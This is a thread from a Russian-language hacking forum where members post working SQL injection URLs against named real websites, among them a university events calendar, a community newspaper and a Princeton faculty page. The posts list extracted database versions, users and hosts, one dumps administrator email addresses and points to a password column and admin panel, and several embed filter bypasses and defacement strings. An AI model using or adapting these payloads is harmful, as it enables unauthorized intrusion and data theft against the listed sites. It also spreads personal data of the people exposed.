HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14781  
Старый 20.03.2012, 14:29
StaD
Новичок
Регистрация: 18.03.2012
Сообщений: 4
С нами: 7448726

Репутация: 0
По умолчанию

Код:
http://www.no-colours-records.de/sites/show_rel.php?id=-1+union+select+1,2,column_name,4,5+from+INFORMATION_SCHEMA.COLUMNS+limit+0,1--
Выводится только одна запись, отчёта об ошибках нет
 
Ответить с цитированием

  #14782  
Старый 20.03.2012, 16:38
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию

Код:
www.ginnystineinteriors.com/designers_detail.php?staff_id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9--+
version: 5.0.91-log

database: fishleg_ginnys

user: fishleg_27@209.68.2.171

Код:
www.wardblakearchitects.com/staff_content.php?staff_id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--+
version: 5.0.95-community

database: architectural_wb

user: architectural_us@localhost

PR: 3/10

admin pages: manager, cpanel

Код:
www.jewishchronicle.org/contact/contact.php?staff_id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
version: 5.0.77-log

database: 577301_jewishchron

user: 577301_jcadmin@172.17.2.118

PR: 4/10
 
Ответить с цитированием

  #14783  
Старый 20.03.2012, 19:25
Megwarez
Новичок
Регистрация: 07.05.2010
Сообщений: 6
С нами: 8428329

Репутация: 0
По умолчанию

вкспорт

Код:
http://www.vksport.ru/catalog_s1.php?id=-1%27+union+select+1,2,3,4,group_concat%280x0b,column_name%29,6+from+information_schema.columns+where+table_name={не смог подобрать}+--+
ТИЦ:10

PR:1
 
Ответить с цитированием

  #14784  
Старый 21.03.2012, 23:17
Га-Ноцри
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами: 7670486

Репутация: 76
По умолчанию

ТИЦ = 20

PR = 4

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.jic.org/index.php?page=9999999'+union+select+1,File_priv,2+from+mysql.user--+[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14785  
Старый 22.03.2012, 15:31
smirk
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами: 7725206

Репутация: 26
По умолчанию

pr2

Код:
http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-117+uNion+SELselectECT+1,2,3,0x6861636B6564206279207375727072697A2E,concat_ws(0x3a,user(),version(),%20%20database()),6,7,8,9+--+
обход preg_replace
 
Ответить с цитированием

  #14786  
Старый 22.03.2012, 18:35
Megwarez
Новичок
Регистрация: 07.05.2010
Сообщений: 6
С нами: 8428329

Репутация: 0
По умолчанию

Код:
http://www.nunhems.com.ua/kultury.php?id=-1+union+select+1,2,3,4,5,6,7,8,group_concat%280x0b,table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+--+


ТИЦ: 30

PR: 4


Все норм выводится, но в админку не зайти, видимо фильтр по ip.
 
Ответить с цитированием

  #14787  
Старый 22.03.2012, 22:14
Га-Ноцри
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами: 7670486

Репутация: 76
По умолчанию

PR = 5

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.bedandbreakfastdc.com/index.php?id=-1+union+select+concat_ws(0x03a,user(),database(),version())--[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14788  
Старый 23.03.2012, 14:46
aydin-ka
Новичок
Регистрация: 03.05.2009
Сообщений: 7
С нами: 8960082

Репутация: -14
По умолчанию

The University of Alabama

тИЦ 275 PR 7 Alexa Rank 25,466

Вывод в теге

Код:
http://events.ua.edu/events/index.php?cat=9999999999+union+select+@@version--
Version - 5.0.27

User -ua_calendar@helios.ua.edu

Database - ua_calendar

Код:
http://events.ua.edu/events/index.php?cat=9999999999+union+select+group_concat%28Email%29+from+hc_admin--
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]mmuro[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]ur[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

rflorenc
[/COLOR][COLOR="#007700"]@as.[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

lmsandy
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]ur[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

arainey
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]ur[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ua[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]edu

etc
[/COLOR][COLOR="#007700"]...[/COLOR][/COLOR
Есть столбец Passwrd

Админка - _http://events.ua.edu/admin/
 
Ответить с цитированием

  #14789  
Старый 25.03.2012, 03:04
gars0n
Постоянный
Регистрация: 09.12.2009
Сообщений: 502
С нами: 8642547

Репутация: 186


По умолчанию

PR - 2

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.kaizen-co.ru/gallery.php?id=9875465+union+select+1,char(104,97,99,107,101,100,32,98,121,32,100,117,109,98,97),concat_ws(0x3b,user(),version(),database()),4,5--[/COLOR][/COLOR] 
kaizen@zvm28.host.ru;4.0.27-log;kaizen
 
Ответить с цитированием

  #14790  
Старый 25.03.2012, 09:59
tght
Участник форума
Регистрация: 24.06.2010
Сообщений: 134
С нами: 8360246

Репутация: 0
По умолчанию

PR - 4

Цитата:
Сообщение от None  
http://cwrowley.princeton
.edu
/getpaper.php?id=88-999.9+union+select+1,2,concat_ws(0x7C2A7C,version( ),user(),database()),4--
Version: 5.0.92-community

User: cwrowley_clancy@localhost

DB: cwrowley_main

тИЦ - 40, PR - 2

Цитата:
Сообщение от None  
http://www.forceavto.ru/catalog/show_prod.php?ID=615-999.9+union+select+1,2,3,concat_ws(0x7C2A7C,versio n(%20),user(),database()),5,6,7--
Version: 5.1.56-log

User: forceavt_mila2@localhost

DB: forceavt_force
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.